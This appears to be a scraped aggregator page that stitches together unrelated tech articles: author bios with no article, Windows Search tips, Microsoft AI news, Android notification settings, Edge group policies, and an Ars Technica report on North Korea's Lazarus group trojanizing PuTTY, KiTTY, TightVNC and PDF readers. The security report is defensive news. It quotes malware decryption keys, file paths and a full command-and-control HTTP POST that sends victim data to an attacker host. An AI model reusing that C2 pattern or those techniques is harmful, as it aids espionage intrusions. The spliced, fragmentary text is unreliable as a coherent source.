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Daniel Hatter began writing professionally in 2008. His writing focuses on courses in computers, Web design, software development and technology. He earned his Bachelor of Arts in media and game development and information technology at the University of Wisconsin-Whitewater.

Wed, 25 Mar 2015 14:28:00 -0500 en-US text/html https://smallbusiness.chron.com/convert-word-pdf-embedded-links-46326.html
Killexams : Can’t find that file? These advanced Windows Search tips can help © PC World

Let’s face it: Searching your PC for files within Windows has always been mildly confusing, especially with several options for searching right within Windows 10 and 11. But if you’re convinced that a particular file is hidden somewhere on your PC, try these tips to find it and get back to work.

We can’t guarantee that finding a file will be as easy as using a search engine like Google. (Incidentally, Google once made a desktop search engine for your PC, but it has since been discontinued.) But realizing what Windows is searching, when it’s doing it, and how to interpret results should make life much easier.

Finally, it’s important to realize that there are essentially two search mechanisms built into your PC: the built-in Windows Search, and File Explorer. The first should is best for commonly used files, while File Explorer’s search function is a power tool that can be used to root out more deeply hidden files. Both Windows Search and File Explorer are integrated with Microsoft’s OneDrive cloud storage, but File Explorer does a better job of letting you know which files are where.

All search boxes are not the same

Before you begin, there are two things you need to know: where to search, and what to search. Windows Search appears as the “magnifying glass” icon on your Windows 11 taskbar, and the search box on your Taskbar in Windows 10. In Windows 11, there’s a search box at the top of the Windows 11 Start menu, which magically reconfigures the Start menu into the Search menu when you click on it. Windows File Explorer also has a search box at the top of its search window, as well.

On Windows 11, Windows Search can be accessed from the Taskbar. © PC World On Windows 11, Windows Search can be accessed from the Taskbar.

Mark Hachman / IDG

The one search box you shouldn’t use is the search box at the top of the Widgets panel on Windows 11, and the similar location on Windows 10. This search box searches only the web, and won’t find the files on your PC that you’re looking for. For the purposes of this article, we’re going to ignore that search box and focus on how to optimize searches for files on your PC, instead.

How to use Windows Search

The basic Windows search presents itself each time you click the Search icon: On the left you’ll find a column of recently searched-for apps; on the right, you’ll see Windows’ guesses at some searches it thinks you’ll be interested in, plus some Top apps that presumably many users search for. Remember, some users launch apps simply by searching for them. (I do.)

None of this feels especially personalized, especially when you consider that any recent documents aren’t found in Search at all; those are listed under the Recommended section within the Start menu, instead. Microsoft obviously feels that most users won’t use Search at all, but the disconnect—recent apps in one section, recent documents in another—still feels unnatural.

By default, Windows Search is pretty bland. © PC World By default, Windows Search is pretty bland.

Mark Hachman / IDG

Fortunately, typing in the search box transforms Search into something more useful: Suddenly Windows starts making an attempt to find the document you’re looking for. Unfortunately, Search only makes a stab at one file it thinks you’re searching for, plus a folder, then branches off into results from the web, your Documents folder, and so on. It’s pretty simple; you can’t use Boolean searches (x and y, for example). If you get lucky, great. Otherwise, File Explorer may be more helpful for finding the files you need—which we’ll talk about later.

Window Search, by default, is rather blah and neutral—a bit like Windows 11, actually. There are two hidden capabilities of Windows Search, though, which you may not be aware of: configuring Search as a work tool, and, conversely, making Search more fun and useful for personal use.

Windows Search in action. © PC World Windows Search in action.

Mark Hachman / IDG

The latter won’t solve any of Windows Search’s shortcomings, but it will make Search closer to something you’d find online. Within the Windows 11 Settings menu, go to Privacy & security > Search permissions, then scroll down to “Show search highlights.” Toggle this to the “on” position.

The result will replace the Top apps in Search with a large image sourced from the Bing image database, together with some related image “searches,” as well as a separate section of searches just below.

This screen shows the “search highlights” that are attached to a personal account. To swap between a work and personal account, click the icon underneath the arrow. © PC World This screen shows the “search highlights” that are attached to a personal account. To swap between a work and personal account, click the icon underneath the arrow.

Mark Hachman / IDG

If you use the same PC for work and play, you may be aware that Bing can be configured to generate work-specific results, such as org charts that describe how other employees fit within the organization. Those same results can appear within Windows Search, as well, provided you’re logged into both accounts. To toggle back and forth between the two, simply click on the small icon to the left of the “ellipsis” menu in the upper right-hand corner of the screen.

Windows Search, but at work. © PC World Windows Search, but at work.

Mark Hachman / IDG

Doing so will add a pair of additional search categories: a people search (which will unearth coworkers, their contact information, and more), as well as a Trending list of documents at the bottom of the screen. (You may need to enter the Settings menu again, then Privacy & security > Search permissions) and toggle on both options under Cloud content search—”Microsoft account” and “Work or School Account—to enable this.)

If you use the same PC for work and play, make sure that both of these options are toggled on. © PC World If you use the same PC for work and play, make sure that both of these options are toggled on.

Mark Hachman / IDG

These work results may or may not be relevant to you, personally. Again, Windows’ best guess may sometimes be way off.

Indexing and searching: The chicken and the egg

Neither of those methods actually improves Windows Search, though. To do so, the first place to start is improving how your PC indexes files.

Your PC “knows” which files are on it via a search index, which collects the name and the contents of your PC’s files inside a small, dedicated database. But by default, only four locations are indexed: Documents, Pictures, Music, and any files stored on the desktop. What about the rest?

There’s no reason that Windows Search can’t index your entire PC. (Windows warns that this may affect battery life and CPU consumption, but the tradeoffs are probably minimal.) To do so, enter the Windows 11 Settings menu (Privacy & security > Searching Windows), click on “Find my files,” and the drop-down menu will expose either a “Classic” or “Enhanced” index mode. The latter will index your entire PC.

The search indexing controls within Windows 11. © PC World The search indexing controls within Windows 11.

Mark Hachman / IDG

Windows is pretty intelligent about how and when it indexes, so the process will take a while. A small tally in the upper right-hand corner will tick up and down as Windows finds new files, then indexes them. The same control menu allows you to essentially turn off indexing while on battery to save power. (Indexing can take several hours to compete when first run, but will turn briefly on and off as you make changes to your PC.) The same control panel also allows you to manually exclude certain folders, in case there are folders with confidential information you don’t want to surface, or for some other reason.

Note that Windows makes some intelligent decisions about what to store, even with “enhanced” mode turned on. The size of the index depends, of course, on what files are actually indexed; Microsoft’s support page explains that the index will be about a tenth the size or less of the total space those files take up. It will be a bit more if you’re indexing smaller files or computer code.

Selecting the “Advanced indexing options” inside the Searching Windows Settings panel reveals that some apps send files to the index by default: Outlook and OneNote, for example, index files by default to speed up searches. But there’s even another layer: this Control Panel app allows access to “Advanced” controls. Here, you can choose which file types are indexed, as well as how they’re indexed—either by the file name alone, or by the file name and the contents.

As for the latter, you’ll probably be just fine living with Windows’ default decisions. But you do have the option of making a specific file type searchable by its contents if that’s what you want.

File Explorer: The power search option

Using Windows’ File Explorer will be the slowest but most accurate option, with flexibility that other options don’t offer.

File Explorer offers a search box at the upper-right, with the caveat that that box searches whichever folder of your PC you have currently open: If you have the Documents folder open, for example, Documents and any subfolders are searched by default. File Explorer search uses the folders that your PC has access too, making no distinction between cloud-native and local files; if your PC stores placeholder files locally, they’ll be searched just like any other file.

Windows 11’s File Explorer contains both a search box (red arrow) as well as additional search options (bue arrow). © PC World Windows 11’s File Explorer contains both a search box (red arrow) as well as additional search options (bue arrow).

Mark Hachman / IDG

The File Explorer search box will autofill several recent searches, saving you the trouble. Boolean searches work here, too, so if you want to search for “sales proposal NOT Acme,” the search will exclude proposals made to Acme Corp.

Finally, File Explorer offers what some of you may have been looking for all along: a detailed “search options” menu right in the center of the screen. Weirdly, however, that menu only seems to materialize after you’ve typed in a search term inside the search box. The search options are there to refine that search, with intuitive options that include “kind” (email, journal, task, picture, and many more), and whether the file exists in a subfolder, a compressed folder, an entirely different folder, and more.

File Explorer also has the advantage of an optional preview pane, by which you can get a look at a photo, PDF file, or document without needing to technically open it. The preview pane’s default size is small enough that you’ll likely have to open the document to use it, but you can at least get an idea of whether it’s the document you were looking for.

Photos: Yes, it can be used for search, too

Most of us take photos with our smartphones, possibly edit them, possibly post them to social media—and never look at them again. But how do you find a specific photo years after the fact?

Here, Windows Search isn’t helpful, but the Photos app is, sort of. As a test, I searched my Photos folder on OneDrive via File Explorer for any photos of “Las Vegas”—home to many CES trade shows over the years. File Explorer turned up nothing, but using the Photos search box at the top of the app I was able to turn up several related photos. Photos is also useful for searching specific scenes (“snow” or “beach”) although its knowledge of your photo’s metadata seems a little skimpy.

It’s here that backing up photos to multiple cloud storage providers pays off. While Windows contains a multitude of privacy controls, Google’s own Google Photos app basically indexes everything, using facial recognition, metadata, and more—and using it produced hundreds of photos of products we’ve all forgotten about by now.

There are other dedicated search utilities for Windows: Everything, Grepwin, DocFetcher and more, if Windows Search can’t find what you’re looking for. The point, though, is that Windows Search by itself doesn’t seem particularly useful. But with a little knowledge and tweaking, it can be.

Sun, 09 Oct 2022 22:55:31 -0500 en-US text/html https://www.msn.com/en-us/news/technology/can-e2-80-99t-find-that-file-these-advanced-windows-search-tips-can-help/ar-AA12NmvY
Killexams : Reasons to Convert a PDF to Microsoft Word

Linda Emma is a long-standing writer and editor. She is also a digital marketing professional and published author with more than 20 years experience in media and business. She works as a content manager and professional writing tutor at a private New England college. She holds a bachelor's degree in journalism from Northeastern University.

Sat, 04 Aug 2018 00:33:00 -0500 en-US text/html https://smallbusiness.chron.com/reasons-convert-pdf-microsoft-word-16809.html
Killexams : Microsoft AI News

Real-time AI: Microsoft announces preview of Project Brainwave

Every day, thousands of gadgets and widgets whish down assembly lines run by the manufacturing solutions provider Jabil, on their way into the hands of customers.

Along the way, an automated optical inspection system scans them for any signs of defects, with a bias toward ensuring that all potential anomalies are detected. It then sends those parts off to be checked manually.

The speed of operations leaves manual inspectors with just seconds to decide if the product is really defective, or not.

That’s where Microsoft’s Project Brainwave could come in. Project Brainwave is a hardware architecture designed to accelerate real-time AI calculations. The Project Brainwave architecture is deployed on a type of computer chip from Intel called a field programmable gate array, or FPGA, to make real-time AI calculations at competitive cost and with the industry’s lowest latency, or lag time. This is based on internal performance measurements and comparisons to other organization’s publicly posted information.

Read more

Microsoft’s mission: AI for every developer

Vulcan Steel makes about 3,000 deliveries of steel a day to businesses throughout New Zealand and Australia – which means that each day, its employees need to use their training to figure out how to safely get large, heavy and unwieldly pieces of steel off of its trucks and into the hands of a very diverse group of customers.

“It’s an awkward product to transport, and it’s difficult to design out all of the risks,” said James Wells, who acts as the company’s chief information officer. “So essentially what that means for us is one of the key requirements or skills for us to keep people safe is around education.”

For years, Vulcan Steel did what most companies do – they educated their employees about safety before sending them into the field, and then they did additional training as needed if someone reported an accident or near miss.

Now, they’re using artificial intelligence to try to more proactively prevent accidents and near misses before they happen. The company recently started using Microsoft Cognitive Service’s Custom Vision tools to evaluate camera footage from the company’s trucks for actions that could be risky or lead to an accident.

Read more

AI news from Microsoft’s Build developers conference

At Microsoft’s Build developers conference in Seattle this week, the company is unveiling a series of new and updated tools that will help developers incorporate artificial intelligence into their processes and applications, regardless of their background and training in the fast-emerging field of AI.

Read more

As stragglers settle into their seats for general biology class, real-time captions of the professor’s banter about general and special senses – “Which receptor picks up pain? All of them.” – scroll across the bottom of a PowerPoint presentation displayed on wall-to-wall screens behind her. An interpreter stands a few feet away and interprets the professor’s spoken words into American Sign Language, the primary language used by the deaf in the US.

Except for the real-time captions on the screens in front of the room, this is a typical class at the Rochester Institute of Technology in upstate New York. About 1,500 students who are deaf and hard of hearing are an integral part of campus life at the sprawling university, which has 15,000 undergraduates. Nearly 700 of the students who are deaf and hard of hearing take courses with students who are hearing, including several dozen in Sandra Connelly’s general biology class of 250 students.

Read more

When people interact with most personal digital assistants or chatbots today, the experience is a lot like speaking into a walkie-talkie or texting: First one party says or writes something, and then the other party digests that information and responds.

It’s effective, but Li Zhou, engineer lead for XiaoIce, Microsoft’s wildly popular artificial intelligence-powered social chatbot in China, notes that it has one big drawback.

“People don’t actually talk that way,” Zhou said

Read more

Aiming to fill skill gaps in AI, Microsoft makes training courses available to the public

As a software engineer at Microsoft, Elena Voyloshnikova’s job is to make informed recommendations about how to Boost the performance of software engineering tools.

But too often, she spends her days manually analyzing the data she needs to make those decisions. Lately, her team has been discussing the potential of building machine learning models to automate that task – creating more time to focus on the decision-making.

Read more

Microsoft reaches a historic milestone, using AI to match human performance in translating news from Chinese to English

A team of Microsoft researchers said Wednesday that they believe they have created the first machine translation system that can translate sentences of news articles from Chinese to English with the same quality and accuracy as a person.

Researchers in the company’s Asia and U.S. labs said that their system achieved human parity on a commonly used test set of news stories, called newstest2017, which was developed by a group of industry and academic partners and released at a research conference called WMT17 last fall. To ensure the results were both accurate and on par with what people would have done, the team hired external bilingual human evaluators, who compared Microsoft’s results to two independently produced human reference translations.

Read more

In order for scientists to make breakthroughs that could help lead to cures for pediatric cancers, researchers around the world need to be able to easily share and collaborate on genomic data. That’s why, in 2010, computational biologist Jinghui Zhang and her team at St. Jude Children’s Research Hospital in Memphis started uploading anonymized genomes of their patients’ healthy and cancerous cells to public data repositories.

“We realized that it was very hard for people to download the data and use the data for their research because of the sheer size and volume of the data,” said Zhang. “So, St. Jude started to seriously explore other ways to facilitate data sharing with the global research community.”

Read more

Tue, 13 Dec 2016 05:39:00 -0600 en-US text/html https://news.microsoft.com/ai/
Killexams : How to configure conversations as Priority in Android (and why you should)
Uwe Krejci/Getty Images

I cannot lie… I've missed conversations in Android. It happens. Most often I fall victim to this because I've either accidentally cleared all notifications without realizing there was a message I hadn't seen, or it simply got buried under the barrage of Messages and Messenger chats. 

Fortunately, starting with Android 11, Google added a feature that helps make sure you don't miss out on those more important conversations. 

The feature in question is called Priority conversations. Once you've set a conversation as a priority, it will get its own section within the Notification Shade that makes it easier to catch them. 

Also: How to stop apps from the notification shade on Android 13

In some cases (such as with Facebook Messenger), those conversations will be placed in bubbles that appear and remain on your home screen until you delete them. 

By making use of Priority conversations, I haven't missed a single important missive since. 

Before you dive into this, think carefully about what conversations you want to add as a Priority. If you add too many conversations to the feature, you'll wind up inundated anyway and will probably miss out in the end. To that end, choose wisely.

Requirements

As I mentioned, this feature arrived in Android 11, so you'll need a device running at least that version of the OS. You'll also need some conversations to add, which can be taken from the Android Messages app, Facebook Messenger, Slack, WhatsApp, and more. That's all you need. Let's make this a priority.

Also: Best Android phones

How to add conversations as Priority in Android

The first thing you'll do is enable Bubble conversations. Although this isn't a requirement, it does mean those conversations you add from apps that support Bubbles will then bubble all conversations that are added as a Priority that will then appear as floating bubbles on your home screen. To enable Bubbles, go to Settings > Notifications > Bubbles. In the resulting screen, tap the ON/OFF slider until it's in the ON position.

Enabling the Bubble feature in Android 13.

Image: Jack Wallen

Now, we'll add conversations to the list. To do that, go to Settings > Notifications > Conversations. In the resulting window, you'll find three sections: 

  • Priority conversations: Those conversations you've set as Priority.
  • Non-priority conversations: Those conversations you've made changes to (such as moving them to Priority and out).
  • Recent conversations: recent conversations that have never been added to Priority.

You'll find three sections of conversations here: Priority, Non-Priority, and Recent.

Image: Jack Wallen

Also: How to prevent Android apps from adding launchers to your phone's home screen 

To add a conversation to Priority, locate it from the list of either Non-priority or recent conversations and tap it to reveal the options. You should see Priority, Default, and Silent. You will also see options to Bubble this conversation, Pop on screen, Sound configuration, Show notification dot, and Vibration. Make sure to at least tap Priority for the conversation and then customize it as needed.

A conversation is easily added to the Priority list in Android.

Image: Jack Wallen

At this point, those conversations you've added to the Priority list will now (at least) show up in the Priority section of the Notification Shade or as Bubbles on your home screen. This is a great way to ensure you don't miss out on anything from those contacts who should be considered a priority.

Editorial standards
Wed, 12 Oct 2022 10:49:00 -0500 en text/html https://www.zdnet.com/article/how-to-configure-conversations-as-priority-in-android-and-why-you-should/
Killexams : Group Policies to configure Redirection to Microsoft Edge

Starting with Microsoft Edge 87, Microsoft is rolling out new GPO or Group Policies that will allow Enterprise and Individual consumers to open websites directly into Edge. Internet Explorer is finally getting off the support list, and many websites do not work in IE as expected both in terms of user experience and rendering of the website.

Group Policies to configure redirection to Microsoft Edge

Here is the list of policies that IT admin and users can configure to ensure the redirection happens.

  • Redirect Sites From Internet Explorer PreventBHOInstall
  • RedirectSites from Internet Explorer Redirect Mode
  • Hide Internet Explorer Redirect UXF or Incompatible Sites Enabled

If you wish to disable redirection to Microsoft Edge, then we have also talked about it at the end.

1] Policy: RedirectSitesFromInternetExplorerPreventBHOInstall

This policy will set redirection from IE to Edge using the Internet Explorer Browser Helper Object (BHO) named “IEtoEdge BHO.” This policy will give you a choice to install or not install the BHO.

  • Enabled: BHO will not be installed, and users will continue to see incompatibility messages for certain websites on Internet Explorer. If the BHO is already installed, it will be uninstalled the next time the Microsoft Edge Stable channel is updated.
  • Disabled: It will make sure BHO will not be installed.

This policy also depends on the policy— RedirectSitesFromInternetExplorerRedirectMode, which needs to be set to “Sitelist” or “Not Configured.”

2] Policy: RedirectSitesFromInternetExplorerRedirectMode

This policy allows IE to open websites in Microsoft Edge. You can choose to open only incompatible websites to open in Edge and Allow sites to be reloaded in Internet Explorer when sites require IE for compatibility.

  • Enabled: Internet Explorer will redirect incompatible sites to Microsoft Edge.
  • Disabled: Incompatible sites aren’t redirected to Microsoft Edge.

General consumers can change this by going to edge://settings/defaultbrowser.

Edge Browser Settings for IE Redirection

3] Policy: HideInternetExplorerRedirectUXForIncompatibleSitesEnabled

This policy helps to hide the redirection dialog.

  • Enabled: One-time redirection dialog and the redirection banner. No browser data or user preferences are imported.
  • Disabled: Redirection dialog will be shown on the first redirection. Henceforth the banner will be shown for sessions that start with a redirection.

For personal devices, this policy points to Allow sites to be loaded in Internet Explorer mode. However, it is not available for a domain-joined or Mobile Device Management (MDM) enrolled device; you won’t see this option.

How to disable redirection to Microsoft Edge

If you want to disable this redirection scenario before updating to Microsoft Edge 86, then Microsoft recommends to do the following:

  • Set the RedirectSitesFromInternetExplorerRedirectMode policy to Enabled.

This setting will stop redirecting as soon as the policy takes effect.

If you want to disable redirection AFTER updating to Microsoft Edge Stable version 87, use the following steps:

  • Set the RedirectSitesFromInternetExplorerRedirectMode policy to Disabled.

This setting will stop redirecting as soon as the policy takes effect.

  • Set the RedirectSitesFromInternetExplorerPreventBHOInstall policy to Enabled.

This will uninstall the BHO after the next Microsoft Edge update.

I hope the post helped you configure Group Policies on how redirection will work from IE to Edge.

Related reads:

  1. Microsoft Edge Deployment Guide for Business
  2. Redirect sites from IE to Microsoft Edge using Group Policy
  3. Disable Internet Explorer 11 as a standalone browser using Group Policy.
Redirection from IE to Edge
Sun, 22 May 2022 21:27:00 -0500 en-us text/html https://www.thewindowsclub.com/group-policies-to-configure-redirection-to-microsoft-edge
Killexams : Numerous orgs hacked after installing weaponized open source apps
Numerous orgs hacked after installing weaponized open source apps
Getty Images

Hackers backed by the North Korean government are weaponizing well-known pieces of open source software in an ongoing campaign that has already succeeded in compromising "numerous" organizations in the media, defense and aerospace, and IT services industries, Microsoft said on Thursday.

ZINC—Microsoft's name for a threat actor group also called Lazarus, which is best known for conducting the devastating 2014 compromise of Sony Pictures Entertainment—has been lacing PuTTY and other legitimate open source applications with highly encrypted code that ultimately installs espionage malware.

The hackers then pose as job recruiters and connect with individuals of targeted organizations over LinkedIn. After developing a level of trust over a series of conversations and eventually moving them to the WhatsApp messenger, the hackers instruct the individuals to install the apps, which infect the employees' work environments.

Microsoft

"The actors have successfully compromised numerous organizations since June 2022," members of the Microsoft Security Threat Intelligence and LinkedIn Threat Prevention and Defense teams wrote in a post. "Due to the wide use of the platforms and software that ZINC utilizes in this campaign, ZINC could pose a significant threat to individuals and organizations across multiple sectors and regions."

PuTTY is a popular terminal emulator, serial console, and network file transfer application that supports network protocols, including SSH, SCP, Telnet, rlogin, and raw socket connection. Two weeks ago, security firm Mandiant warned that hackers with ties to North Korea had Trojanized it in a campaign that successfully compromised a customer's network. Thursday's post said the same hackers have also weaponized KiTTY, TightVNC, Sumatra PDF Reader, and muPDF/Subliminal Recording software with code that installs the same espionage malware, which Microsoft has named ZetaNile.

Lazarus was once a ragtag band of hackers with only marginal resources and skills. Over the past decade, its prowess has grown considerably. Its attacks on cryptocurrency exchanges over the past five years have generated billions of dollars for the country's weapons of mass destruction programs. They regularly find and exploit zero-day vulnerabilities in heavily fortified apps and use many of the same malware techniques used by other state-sponsored groups.

The group relies primarily on spear phishing as the initial vector into its victims, but they also use other forms of social engineering and website compromises at times. A common theme is for members to target the employees of organizations they want to compromise, often by tricking or coercing them into installing Trojanized software.

The Trojanized PuTTY and KiTTY apps Microsoft observed use a clever mechanism to ensure that only intended targets get infected and that it doesn't inadvertently infect others. The app installers don't execute any malicious code. Instead, the ZetaNile malware gets installed only when the apps connect to a specific IP address and use login credentials the fake recruiters give to targets.

The Trojanized PuTTY executable uses a technique called DLL search order hijacking, which loads and decrypts a second-stage payload when presented with the key "0CE1241A44557AA438F27BC6D4ACA246" for use as command and control. Once successfully connected to the C2 server, the attackers can install additional malware on the compromised device. The KiTTY app works the same way.

Like KiTTY and PuTTY, the malicious TightVNC Viewer installs its final payload only when a user selects ec2-aet-tech.w-ada[.]amazonaws from the drop-down menu of pre-populated remote hosts in the TightVNC Viewer.

Microsoft

Thursday's post continued:

The trojanized version of Sumatra PDF Reader named SecurePDF.exe has been utilized by ZINC since at least 2019 and remains a unique ZINC tradecraft. SecurePDF.exe is a modularized loader that can install the ZetaNile implant by loading a weaponized job application themed file with a .PDF extension. The fake PDF contains a header “SPV005”, a decryption key, encrypted second stage implant payload, and encrypted decoy PDF, which is rendered in the Sumatra PDF Reader when the file is opened.

Once loaded in memory, the second stage malware is configured to send the victim’s system hostname and device information using custom encoding algorithms to a C2 communication server as part of the C2 check-in process. The attackers can install additional malware onto the compromised devices using the C2 communication as needed.

Microsoft

The post went on:

Within the trojanized version of muPDF/Subliminal Recording installer, setup.exe is configured to check if the file path ISSetupPrerequisites\Setup64.exe exists and write C:\colrctl\colorui.dll on disk after extracting the embedded executable inside setup.exe. It then copies C:\Windows\System32\ColorCpl.exe to C:\ColorCtrl\ColorCpl.exe. For the second stage malware, the malicious installer creates a new process C:\colorctrl\colorcpl.exe C3A9B30B6A313F289297C9A36730DB6D, and the argument C3A9B30B6A313F289297C9A36730DB6D gets passed on to colorui.dll as a decryption key. The DLL colorui.dll, which Microsoft is tracking as the EventHorizon malware family, is injected into C:\Windows\System\credwiz.exe or iexpress.exe to send C2 HTTP requests as part of the victim check-in process and to get an additional payload.

POST /support/support.asp HTTP/1.1
Cache-Control: no-cache
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64;
Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729;
InfoPath.3; .NET4.0C; .NET4.0E)
Content-Length: 125
Host: www.elite4print[.]com

bbs=[encrypted payload]= &article=[encrypted payload]

The post provides technical indicators that organizations can search for to determine if any endpoints inside their networks are infected. It also includes IP addresses used in the campaign that admins can add to their network block lists.

Thu, 29 Sep 2022 10:06:00 -0500 Dan Goodin en-us text/html https://arstechnica.com/information-technology/2022/09/north-korean-threat-actors-are-weaponizing-all-kinds-of-open-source-apps/
Killexams : Best free PDF to Word converters in 2022

The best free PDF to Word converters make it simple and easy to convert Adobe files to .doc files for use in Microsoft applications.

The PDF format, aka Portable Document Format, was developed by Adobe for easier sharing between operating systems and computers with limited editing and modification. Of course, they may be simpler to share or print, but they’re much harder to edit without special software.